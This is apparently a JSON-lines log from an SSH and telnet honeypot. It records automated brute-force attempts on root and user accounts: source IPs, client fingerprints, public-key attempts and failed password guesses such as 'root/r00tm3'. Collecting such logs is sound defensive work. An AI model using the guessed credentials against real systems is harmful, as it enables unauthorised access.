{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:dc:04:f5:3e:1a:5e:58:55:09:5f:7e:cf:ab:63:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Dp37UdGoPsKUmy492h1NpA8cXS9ZocqpQB4vA37ih9dA4ttO0njOZd3pjjl2ayFhzSYrQWtgsJLi+U63UTxfGGQR8aoCAtqNYR8VxRXsVx7rR+T0bjA07SkB5E57spP61lhWvIQHpp2gBZSpyyNBzcm14ezXqOAjaCkjM4EcA2L0CgPktdRzvheEQTPBzuesLGAe+3LR5SDxM2tSrgVQUeUvmgcCJ1Zwq2VXgrBj3o6jOl0+fQq6ODRFsUupsVM9uO1M8N+Fnr+8XSlp9zo81gN63YLpAMINUkmNsm0ycVlnkF4C1v4Fqi9y8T02Aw8ynUFKZE2GsYFaLxDiCfc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:dc:04:f5:3e:1a:5e:58:55:09:5f:7e:cf:ab:63:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.420231Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:dc:04:f5:3e:1a:5e:58:55:09:5f:7e:cf:ab:63:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Dp37UdGoPsKUmy492h1NpA8cXS9ZocqpQB4vA37ih9dA4ttO0njOZd3pjjl2ayFhzSYrQWtgsJLi+U63UTxfGGQR8aoCAtqNYR8VxRXsVx7rR+T0bjA07SkB5E57spP61lhWvIQHpp2gBZSpyyNBzcm14ezXqOAjaCkjM4EcA2L0CgPktdRzvheEQTPBzuesLGAe+3LR5SDxM2tSrgVQUeUvmgcCJ1Zwq2VXgrBj3o6jOl0+fQq6ODRFsUupsVM9uO1M8N+Fnr+8XSlp9zo81gN63YLpAMINUkmNsm0ycVlnkF4C1v4Fqi9y8T02Aw8ynUFKZE2GsYFaLxDiCfc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.425059Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:f9:9c:e0:4f:4e:1e:0a:cb:a5:20:2c:dc:55:97:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMbHq4RbGgARsWLU7rqFvO7AEWvcNZGVPqqKU9fBY2tOwbZAAYQfrutNpC9QBAyvU5pwOy2V1eXtO4YC8PqZg8AX3dNmZOtslpaBH4cQOEgIHon1NSYKHe+0it4eRsDUa0uIBJHZ6ZvuvL5RIZJBpA4wNrtfqTrclg9zQ8qeyQp/BE/H6gsyaxGpXMYZRUxlY2zEk7NZZfMbAJJ68wep/poUDOpFKyHDMOLgy+YiBylQpwndseJIFyQ1MNT95wuza4gqtRJ9t9fFrGWmjcKkfUcorcLc+LblPOh1Cr6XIEiSsvCNgsThwP2VcCRHrC0tQffUlMmqiQ5yAjiThQUDR3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:f9:9c:e0:4f:4e:1e:0a:cb:a5:20:2c:dc:55:97:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.457239Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:f9:9c:e0:4f:4e:1e:0a:cb:a5:20:2c:dc:55:97:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMbHq4RbGgARsWLU7rqFvO7AEWvcNZGVPqqKU9fBY2tOwbZAAYQfrutNpC9QBAyvU5pwOy2V1eXtO4YC8PqZg8AX3dNmZOtslpaBH4cQOEgIHon1NSYKHe+0it4eRsDUa0uIBJHZ6ZvuvL5RIZJBpA4wNrtfqTrclg9zQ8qeyQp/BE/H6gsyaxGpXMYZRUxlY2zEk7NZZfMbAJJ68wep/poUDOpFKyHDMOLgy+YiBylQpwndseJIFyQ1MNT95wuza4gqtRJ9t9fFrGWmjcKkfUcorcLc+LblPOh1Cr6XIEiSsvCNgsThwP2VcCRHrC0tQffUlMmqiQ5yAjiThQUDR3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.461513Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:bf:da:b5:c4:4a:45:85:c5:23:59:f8:c3:00:f4:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAflpbyNJUOJ5GFYmhk3B2WqwYc9VWq3MM9IQhbo/0x8","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 09:bf:da:b5:c4:4a:45:85:c5:23:59:f8:c3:00:f4:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.492910Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:bf:da:b5:c4:4a:45:85:c5:23:59:f8:c3:00:f4:f2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAflpbyNJUOJ5GFYmhk3B2WqwYc9VWq3MM9IQhbo/0x8","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.496726Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:b5:f3:a9:ae:30:43:49:20:97:02:40:dd:81:4c:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxZ89dQZfgUC+K3QVCMwtmZsxS+spZBObT7kF0YDYzHQR/25EjgG0Y8NKJvyLf4s0/Qn8U8f35kmjuDo6R+5QH0ss6t5d7OhRyfX9LB8g8P5gVCLGYKLm7tDY0DkfKfwFG5BYY4jV0XdYKZq1PdSNqH7/Ce3Q25IRdqaSkhY90RxlPkmhsMOutyHH3hvQYYCC4N9hfAQGAqTvTXbdz+M+yTnqZE4sfv6mrzG8k2QWp3GNdm2bOwaz33bDO2o+0PCWxun3IYTKj5CjjatJ1dzmzFKpZ6J0Ry3HjD66E4nPVIDhadxnLtnC6xFY9ud8gqSuVpp1YFXfkNsJigdoUrAUj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:b5:f3:a9:ae:30:43:49:20:97:02:40:dd:81:4c:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.525476Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:b5:f3:a9:ae:30:43:49:20:97:02:40:dd:81:4c:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxZ89dQZfgUC+K3QVCMwtmZsxS+spZBObT7kF0YDYzHQR/25EjgG0Y8NKJvyLf4s0/Qn8U8f35kmjuDo6R+5QH0ss6t5d7OhRyfX9LB8g8P5gVCLGYKLm7tDY0DkfKfwFG5BYY4jV0XdYKZq1PdSNqH7/Ce3Q25IRdqaSkhY90RxlPkmhsMOutyHH3hvQYYCC4N9hfAQGAqTvTXbdz+M+yTnqZE4sfv6mrzG8k2QWp3GNdm2bOwaz33bDO2o+0PCWxun3IYTKj5CjjatJ1dzmzFKpZ6J0Ry3HjD66E4nPVIDhadxnLtnC6xFY9ud8gqSuVpp1YFXfkNsJigdoUrAUj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.530200Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:94:6b:07:b1:28:71:eb:49:33:7d:ad:4e:2b:a3:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGbDGpk3ns4EtFu5Qh5G5wwKHWNxjQTVxF3akhyAdhYEXeGOPnFnRn02TfiCWcvjTyoNIXFk8RQKrW7cB+BGPJ2rutm7HzLILLjYPdZOvYsDwpM8pHkvNjWBO5Xm42fzeDLuNEgGYeeVjJ5ReGmMmug1zzm49WWHTJ0TcV7R9U+pTtz9EDjPITSalX6T4JSt5iwn+INoDPwN09ZCEifFKiMblUtUNf4Dn9Dgzo/A3Gc3/l6WMXjimNzhXEzDTtExfy0nSZ1U2bvqosM9D3Jm5Cz7PJgm+rsnTiU+WOnR1J3UPFGyK8fyONfxQZtph90NWzhrmrsIXh4IJxsvn/1iv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:94:6b:07:b1:28:71:eb:49:33:7d:ad:4e:2b:a3:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.559020Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:94:6b:07:b1:28:71:eb:49:33:7d:ad:4e:2b:a3:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGbDGpk3ns4EtFu5Qh5G5wwKHWNxjQTVxF3akhyAdhYEXeGOPnFnRn02TfiCWcvjTyoNIXFk8RQKrW7cB+BGPJ2rutm7HzLILLjYPdZOvYsDwpM8pHkvNjWBO5Xm42fzeDLuNEgGYeeVjJ5ReGmMmug1zzm49WWHTJ0TcV7R9U+pTtz9EDjPITSalX6T4JSt5iwn+INoDPwN09ZCEifFKiMblUtUNf4Dn9Dgzo/A3Gc3/l6WMXjimNzhXEzDTtExfy0nSZ1U2bvqosM9D3Jm5Cz7PJgm+rsnTiU+WOnR1J3UPFGyK8fyONfxQZtph90NWzhrmrsIXh4IJxsvn/1iv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.563460Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:05.591873Z","src_ip":"179.61.232.245","session":"04a4f55bc90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":54838,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f5bc11d62a5","protocol":"ssh","message":"New connection: 37.143.61.241:54838 (159.203.135.109:22) [session: 2f5bc11d62a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.131916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.136078Z","src_ip":"37.143.61.241","session":"2f5bc11d62a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.218069Z","src_ip":"37.143.61.241","session":"2f5bc11d62a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.579962Z","src_ip":"37.143.61.241","session":"2f5bc11d62a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":37518,"dst_ip":"10.17.0.5","dst_port":22,"session":"2936a52369cd","protocol":"ssh","message":"New connection: 192.169.250.238:37518 (10.17.0.5:22) [session: 2936a52369cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.893836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.898268Z","src_ip":"192.169.250.238","session":"2936a52369cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:06.971178Z","src_ip":"192.169.250.238","session":"2936a52369cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tm3","message":"login attempt [root/r00tm3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:07.293268Z","src_ip":"192.169.250.238","session":"2936a52369cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39562,"dst_ip":"10.17.0.5","dst_port":23,"session":"76484f4ac7c9","protocol":"telnet","message":"New connection: 152.42.224.71:39562 (10.17.0.5:23) [session: 76484f4ac7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:07.652256Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:07.664890Z","src_ip":"37.143.61.241","session":"2f5bc11d62a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":46192,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1a051a3a384","protocol":"ssh","message":"New connection: 43.153.31.20:46192 (159.203.135.109:22) [session: b1a051a3a384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:08.019615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:08.025598Z","src_ip":"43.153.31.20","session":"b1a051a3a384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:08.095331Z","src_ip":"43.153.31.20","session":"b1a051a3a384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:08.369251Z","src_ip":"192.169.250.238","session":"2936a52369cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@$$w0rd","message":"login attempt [user/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:08.400978Z","src_ip":"43.153.31.20","session":"b1a051a3a384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:09.473361Z","src_ip":"43.153.31.20","session":"b1a051a3a384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.353647232055664,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:11.642990Z","src_ip":"152.42.224.71","session":"3e39fca15967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.07554030418396,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:12.084765Z","src_ip":"152.42.224.71","session":"95e069ba59b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":42438,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c7e7581946","protocol":"ssh","message":"New connection: 43.130.35.229:42438 (159.203.135.109:22) [session: 79c7e7581946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:12.943782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:12.952868Z","src_ip":"43.130.35.229","session":"79c7e7581946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:13.021111Z","src_ip":"43.130.35.229","session":"79c7e7581946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:13.327886Z","src_ip":"43.130.35.229","session":"79c7e7581946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:14.398621Z","src_ip":"43.130.35.229","session":"79c7e7581946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":50918,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa72bbd51f8","protocol":"ssh","message":"New connection: 72.52.132.30:50918 (159.203.135.109:22) [session: 3fa72bbd51f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:16.030586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:16.036095Z","src_ip":"72.52.132.30","session":"3fa72bbd51f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:16.069783Z","src_ip":"72.52.132.30","session":"3fa72bbd51f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:16.232092Z","src_ip":"72.52.132.30","session":"3fa72bbd51f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:23:17.276100Z","src_ip":"72.52.132.30","session":"3fa72bbd51f8","protocol":"ssh"}
